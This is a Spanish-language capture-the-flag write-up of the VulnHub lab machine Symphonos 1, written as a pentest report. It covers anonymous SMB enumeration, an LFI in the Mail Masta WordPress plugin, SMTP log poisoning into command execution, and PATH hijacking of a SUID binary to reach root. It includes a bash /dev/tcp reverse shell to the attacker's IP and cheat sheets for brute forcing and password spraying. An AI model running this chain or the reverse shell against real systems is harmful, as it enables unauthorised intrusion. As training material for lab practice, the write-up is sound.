Post

VulnHub - Symphonos 1 (wirte-up)

VulnHub - Symphonos 1 (wirte-up)

Resumen Ejecutivo (Executive Summary)

Symphonos 1 es una máquina de dificultad Easy-Media diseñada para poner a prueba la capacidad de enumeración multifactor y el encadenamiento de vulnerabilidades. El compromiso total del sistema se logró mediante un ataque en tres etapas:

  1. Exfiltración de Información (Fase de Reconocimiento): Descubrimiento de credenciales en texto plano a través de servicios SMB mal configurados con acceso anónimo.

  2. Explotación Web y RCE (Fase de Acceso Inicial): Identificación de un vector LFI (Local File Inclusion) en un plugin de WordPress, el cual fue escalado a una ejecución remota de comandos (RCE) mediante la técnica de Log Poisoning a través del servicio SMTP.

  3. Escalada de Privilegios (Fase de Post-Explotación): Abuso de un binario SUID personalizado (statuscheck) mediante el secuestro de la variable de entorno PATH (Path Hijacking), logrando control total (root) sobre el activo.


Matriz de Severidad

VulnerabilidadSeveridadImpacto
Fuga de credenciales en SMBAltaDivulgación de contraseñas de usuarios locales.
LFI en WordPress (Mail Masta)CríticaLectura de archivos críticos y escalada a RCE.
Secuestro de PATH (SUID Binary)CríticaElevación de privilegios a superusuario (root).

Análisis Técnico Profundo (Addendum)

Para darle ese toque senior a tu reporte, te sugiero añadir estas breves explicaciones entre tus bloques de código actuales:

Sobre el SMTP Poisoning:

Nota técnica: El ataque de Log Poisoning fue posible porque el servidor SMTP guarda los logs de correo en /var/mail/helios. Al inyectar código PHP en el campo DATA del protocolo SMTP, el intérprete de PHP procesa el archivo de log a través del LFI, permitiendo el paso de comandos mediante el parámetro cmd en la URL.

Sobre el Path Hijacking en /opt/statuscheck:

Análisis de Binario: Al analizar el binario con el comando strings, se identificó que el programa llama a la utilidad curl de forma relativa (system("curl...")) en lugar de usar su ruta absoluta (/usr/bin/curl). Esto permite la intercepción del flujo de ejecución al manipular el $PATH del sistema, una vulnerabilidad común en binarios SUID desarrollados de forma interna.

Reconocimiento

Nmap - Iniciando reconocimiento en 10.0.2.3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
└─$ sudo nmap -p- --open --min-rate=5000 -sS -v -Pn -n 10.0.2.3

Scanning 10.0.2.3 [1 port]
Completed ARP Ping Scan at 15:57, 0.03s elapsed (1 total hosts)

Discovered open port 80/tcp on 10.0.2.3
Discovered open port 445/tcp on 10.0.2.3
Discovered open port 139/tcp on 10.0.2.3
Discovered open port 22/tcp on 10.0.2.3
Discovered open port 25/tcp on 10.0.2.3
Completed SYN Stealth Scan at 15:58, 29.39s elapsed (65535 total ports)
Nmap scan report for 10.0.2.3
Host is up (0.00061s latency).
Not shown: 38243 closed tcp ports (reset), 27287 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
25/tcp  open  smtp
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 08:00:27:21:A3:BB (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 29.51 seconds
           Raw packets sent: 99065 (4.359MB) | Rcvd: 38321 (1.547MB)

| Categoría | Comando | Objetivo | | ———————– | ——————————————————————————————————————— | ——————————————————————— | | Básico | nmap <IP> | Escaneo rápido de los 1000 puertos más comunes. | | Completo | nmap -p- --open --min-rate=5000 -sS -v -Pn -n 192.168.0.21 -oX nmap.xml<br> -> xsltproc nmap.xml -o nmap.html | Escanea todos (65,535) los puertos de forma ultra rápida. | | Servicios y puertos | nmap -sC -sV -p<puertos> <IP> | Ejecuta scripts por defecto y detecta versiones de servicios. | | UDP | nmap -sU --top-ports 100 <IP> | Escanea los puertos UDP más comunes (lento, pero necesario). | | Vulnerabilidades | nmap --script vuln -p<puertos> <IP> | Busca CVEs y fallos conocidos en los servicios detectados. | | Agresivo | nmap -A <IP> | Combina detección de OS, versiones, scripts y traceroute. |

Nikto: Escáner de Servidores Web

No se represento mas que algunas rutas como: /manual/ /manual/images/

| Acción | Comando | Objetivo | | ———————- | —————————— | ————————————————————- | | Escaneo Básico | nikto -h <IP> | Escaneo estándar al puerto 80. | | Puerto Específico | nikto -h <IP> -p <puerto> | Escanea un puerto distinto (ej. 8080 o 443). | | Escaneo con SSL | nikto -h <URL> -ssl | Fuerza el uso de HTTPS. | | Guardar Resultados | nikto -h <IP> -o scan.txt | Guarda el reporte en un archivo de texto. | | Escaneo con Túnel | nikto -h <IP> -root /h3l105/ | Escanea un directorio específico (muy útil para tu caso). | | Ignorar 404 Falsos | nikto -h <IP> -no404 | Útil si el servidor responde con 200 OK a todo. |

Enumerando sub directorios

1
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.2.3:80/ -x jsp,html,xml,war,txt,sh,php -t 50 -r

Luego de realizar un scaneo con la herramienta gobuster se pudo encontrar un subdirectorio /manual el cual muestra informacion: Apache server 2.4

Enumerando SMB

SMBClient: Interacción y Descarga

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
smbclient -L //10.0.2.3/ -N   #-N es para una Null session

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        helios          Disk      Helios personal share
        anonymous       Disk      
        IPC$            IPC       IPC Service (Samba 4.5.16-Debian)
Reconnecting with SMB1 for workgroup listing.
        Server               Comment
        ---------            -------
        Workgroup            Master
        ---------            -------
        WORKGROUP            SYMFONOS

   
└─$ smbclient //10.0.2.3/anonymous -N                          
Try "help" to get a list of possible commands.
smb: /> dir
  attention.txt                       N      154  Sat Jun 29 03:14:49 smb: /> get attention.txt
  prompt # <--- Para descargar
  mget *  #<---- para descargar todo
----  
cat attention.txt          

Can users please stop using passwords like 'epidioko', 'qwerty' and 'baseball'! 

Next person I find using one of these passwords will be fired!

-Zeus
AcciónComandoNota
Listar recursos (Anónimo)smbclient -L //10.0.2.3/ -N-N significa “No password” (Null Session).
Listar recursos (Con usuario)smbclient -L //10.0.2.3/ -U heliosTe pedirá la contraseña interactivamente.
Conectar a un Sharesmbclient //10.0.2.3/helios -U helios%passwordFormato rápido: usuario%contraseña.
   

#### CrackMapExec (CME) / NetExec (NXC)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
└─$ crackmapexec smb 10.0.2.3 -u '' -p '' --shares --users
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing SMB protocol database
[*] Initializing MSSQL protocol database
[*] Initializing RDP protocol database
[*] Initializing WINRM protocol database
[*] Initializing LDAP protocol database
[*] Initializing SSH protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.0.2.3        445    SYMFONOS         [*] Windows 6.1 (name:SYMFONOS) (domain:) (signing:False) (SMBv1:True)
SMB         10.0.2.3        445    SYMFONOS         [+] /: 
SMB         10.0.2.3        445    SYMFONOS         [+] Enumerated shares
SMB         10.0.2.3        445    SYMFONOS         Share           Permissions     Remark
SMB         10.0.2.3        445    SYMFONOS         -----           -----------     ------
SMB         10.0.2.3        445    SYMFONOS         print$                          Printer Drivers
SMB         10.0.2.3        445    SYMFONOS         helios                          Helios personal share
SMB         10.0.2.3        445    SYMFONOS         anonymous       READ            
SMB         10.0.2.3        445    SYMFONOS         IPC$                            IPC Service (Samba 4.5.16-Debian)
AcciónComandoNota
Fuerza Bruta (User + Passlist)crackmapexec smb <IP> -u <user> -p <passlist.txt>Prueba todas las claves para un usuario.
Spray de Usuarios (Userlist + Pass)crackmapexec smb <IP> -u <userlist.txt> -p <password>Prueba una clave contra muchos usuarios.
Listar Shares (Recursos)crackmapexec smb <IP> -u <user> -p <pass> --sharesMuestra a qué carpetas tienes acceso.
Listar Discos/Archivoscrackmapexec smb <IP> -u <user> -p <pass> --diskEnumera el contenido de los discos.
Probar “Null Session”crackmapexec smb <IP> -u '' -p ''Intenta entrar sin usuario ni clave.
Continuar si fallacrackmapexec smb <IP> ... --continue-on-successNo se detiene al encontrar la primera clave válida.

SMBMap: Referencia Rápida

1
2
3
4
5
6
7
8
└─$ smbmap -H 10.0.2.3 -u helios -p qwerty
[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)    [+] IP: 10.0.2.3:445    Name: 10.0.2.3                  Status: NULL Session
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  READ ONLY       Printer Drivers
        helios                                                  READ ONLY       Helios personal share
        anonymous                                               READ ONLY
AcciónComando
Escaneo Anónimosmbmap -H <IP>
Usuario específico (Sin clave)smbmap -H <IP> -u <usuario>
Usuario con contraseñasmbmap -H <IP> -u <usuario> -p <password>
Listar archivos recursivamentesmbmap -H <IP> -u <usuario> -p <password> -R
Descargar un archivosmbmap -H <IP> -u <usuario> -p <password> --download "ruta/al/archivo"
Subir un archivosmbmap -H <IP> -u <usuario> -p <password> --upload <local_file> <remote_path>

Enum4linux: Comandos Imprescindibles - enum4linux 10.0.2.3

Se enumera bastante informacion , entre ellos usuarios como “helios “

ComandoAcciónPor qué es útil en el eJPT
enum4linux -a <IP>Modo “Full”Intenta todo (usuarios, shares, grupos). Es el que usarás el 99% de las veces.
enum4linux -U <IP>Listar UsuariosSi solo te interesan los nombres de usuario para armar tu lista de ataque.
enum4linux -S <IP>Listar SharesPara ver rápidamente si hay carpetas con acceso anónimo (Mapping: OK).
enum4linux -P <IP>Política de PassTe dice si hay bloqueo de cuenta tras 3 intentos (¡crucial antes de hacer fuerza bruta!).
enum4linux -G <IP>GruposPara identificar quién es el Administrador del sistema.
enum4linux -n <IP>Nombres NetBIOSTe da el nombre de la máquina y del dominio/grupo de trabajo.

Acceso a SMB como Helios

1
2
3
4
5
6
7
8
9
10
11
└─$ smbclient //10.0.2.3/helios -U helios
Password for [WORKGROUP/helios]:
Try "help" to get a list of possible commands.
smb: /> dir
  research.txt                        A      432  Sat Jun 29 02:32:05 
  todo.txt                            A       52  Sat Jun 29 02:32:05 
                19994224 blocks of size 1024. 17156840 blocks available
smb: /> get research.txt 
getting file /research.txt of size 432 as research.txt (70,3 KiloBytes/sec) (average 70,3 KiloBytes/sec)
smb: /> get todo.txt 
getting file /todo.txt of size 52 as todo.txt (4,2 KiloBytes/sec) (average 26,3 KiloBytes/sec)

Descarga “todo” y “research”

1
2
3
4
5
6
7
8
9
└─$ cat todo.txt     

1. Binge watch Dexter
2. Dance
3. Work on /h3l105 #      <---------


└─$ cat research.txt 
Helios (also Helius) was the god of the Sun in Greek mythology. He was thought to ride a golden chariot which brought the Sun across the skies each day from the east (Ethiopia) to the west (Hesperides) while at night he did the return journey in leisurely fashion lounging in a golden cup. The god was famously the subject of the Colossus of Rhodes, the giant bronze statue considered one of the Seven Wonders of the Ancient World.

http://10.0.2.3/h3l105/ al parecer intenta cargar un wordpress y lo hace de mala manera por que no esta finalizado el proyecto.

WPScan: El Escáner de WordPress

1
wpscan --url http://10.0.2.3/h3l105/ --enumerate vp,vt,u
AcciónComandoObjetivo
Escaneo Básicowpscan --url <URL>Detección de versión, servidor y temas básicos.
Enumerar Usuarioswpscan --url <URL> -e uExtrae los nombres de usuario (ej. helios).
Plugins Vulnerableswpscan --url <URL> -e vpEl más importante. Busca fallos en los plugins instalados.
Detección Agresivawpscan --url <URL> -e ap --plugins-detection aggressiveBusca plugins que no saltan a simple vista (como Mail Masta).
Fuerza Brutawpscan --url <URL> -U <user> -P <passlist.txt>Intenta entrar al panel /wp-login.php.
Usar API Tokenwpscan --url <URL> --api-token <TU_TOKEN>Muestra información de vulnerabilidades (CVE) detallada.

Wordpress 5.2.2 [+] XML-RPC seems to be enabled: http://10.0.2.3/h3l105/xmlrpc.php
[+] WordPress readme found: http://10.0.2.3/h3l105/readme.html [+] Upload directory has listing enabled: http://10.0.2.3/h3l105/wp-content/uploads/ [+] The external WP-Cron seems to be enabled: http://10.0.2.3/h3l105/wp-cron.php [+] WordPress version 5.2.2 identified (Insecure, released on 2019-06-18).

Debido a qu eno me represento los plugins lo forze con el siguient ecomando. └─$ wpscan --url http://10.0.2.3/h3l105/ -e ap --plugins-detection aggressive [+] akismet | Location: http://10.0.2.3/h3l105/wp-content/plugins/akismet/ [+] mail-masta | Location: http://10.0.2.3/h3l105/wp-content/plugins/mail-masta/

Searchsploit: Buscador de Exploits (mailmasta)

Mail-masta ![[Pasted image 20260131121119.png]] Descargando

1
2
3
4
5
6
7
8
└─$ searchsploit -m 40290.txt
  Exploit: WordPress Plugin Mail Masta 1.0 - SQL Injection
      URL: https://www.exploit-db.com/exploits/40290
     Path: /usr/share/exploitdb/exploits/php/webapps/40290.txt
    Codes: CVE-2017-6098, CVE-2017-6097, CVE-2017-6096, CVE-2017-6095
 Verified: False
File Type: ASCII text
Copied to: /home/kali/Estudios/eJPT/exploit/40290.txt

Se encontro en este txt el contenido para explotar un LFI

http://server/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

| Acción | Comando | Objetivo | | ——————– | ———————————– | —————————————————– | | Búsqueda Básica | searchsploit wordpress mail-masta | Busca exploits por nombre de software o plugin. | | Búsqueda Exacta | searchsploit -t wordpress 5.2.2 | Busca términos específicamente en el título. | | Copiar Exploit | searchsploit -m 50226 | Copia el archivo del exploit a tu carpeta actual. | | Ver Código (cat) | searchsploit -p 50226 | Muestra la ruta completa y el contenido del exploit. | | Búsqueda por CVE | searchsploit CVE-2021-44228 | Busca exploits usando el código de vulnerabilidad. | | Actualizar Base | searchsploit -u | Actualiza la base de datos local (requiere internet). | LFI ![[Pasted image 20260131124504.png|600]]

Pasar a RCE mediante SMTP y un poison de php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
└─$ nc 10.0.2.3 25 
220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
HELO kali
MAIL FROM: <test@kali.com>
RCPT TO: helios
DATA
<?ph sis(_GET['']); ?>  ## ESTE COMANDO ESTA INCOMPLETO
.
QUIT250 symfonos.localdomain
250 2.1.0 Ok
250 2.1.5 Ok
354 End data with <CR><LF>.<CR><LF>
250 2.0.0 Ok: queued as A515340BA1

221 2.0.0 Bye
1
2
3
4
5
6
7
8
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd= whoami

1- sudo nc -nlvp 443
##COMANDO A USAR PERO URL ENCODEAR
bash -i >& /dev/tcp/10.0.2.7/443 0>&1   <----- MI IP

#Reverse shell
http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&cmd=bash+-c+%22bash+-i+%3E%26+/dev/tcp/10.0.2.7/443+0%3E%261%22

Tratamiento de la TTY (Shell Interactiva)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
script /dev/null -c bash

  #         control + z   
  
stty raw -echo; fg

reset #(Enter)

xterm #(Enter)

export TERM=xterm
	o
export TERM=xterm-256color

export SHELL=bash  

Acceso a la maquina y escalando privilegios.

Enumerando

Enumerando /wp-config.php

1
2
3
cat /var/www/html/h3l105/wp-config.php | grep -E "DB_USER|DB_PASSWORD"
define( 'DB_USER', 'wordpress' );
define( 'DB_PASSWORD', 'password123' );

Enumerando /permisos suid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
helios@symfonos:/tmp$ find / -perm -4000 -user root 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/opt/statuscheck     #  <---------------------
/bin/mount
/bin/umount
/bin/su
/bin/ping

En este output se puede ver un /opt/statuscheck/ que el mismo con el comando strings se puede ver que hace una peticion curl sin utilizar una ruta absoluta.

1
2
3
4
5
6
7
8
9
10
helios@symfonos:/tmp$ cd /tmp
helios@symfonos:/tmp$ echo "/bin/sh" > curl
helios@symfonos:/tmp$ chmod 777 curl 
helios@symfonos:/tmp$ export PATH=/tmp:$PATH
helios@symfonos:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
helios@symfonos:/tmp$ /opt/statuscheck 
# whoami
root
# 

Conclusión y Recomendaciones (Mitigación)

Para remediar las debilidades identificadas en este activo, se recomiendan las siguientes acciones:

  1. Hardening de SMB: Deshabilitar el acceso anónimo y las sesiones nulas (Null Sessions). Aplicar el principio de menor privilegio a las carpetas compartidas.

  2. Seguridad Web: Actualizar o eliminar plugins vulnerables de WordPress. Implementar funciones de saneamiento de entrada para prevenir ataques de inclusión de archivos.

  3. Desarrollo Seguro: En la creación de binarios SUID, utilizar siempre rutas absolutas para las llamadas al sistema y evitar el uso de funciones vulnerables a manipulación de entorno.

This post is licensed under CC BY 4.0 by the author.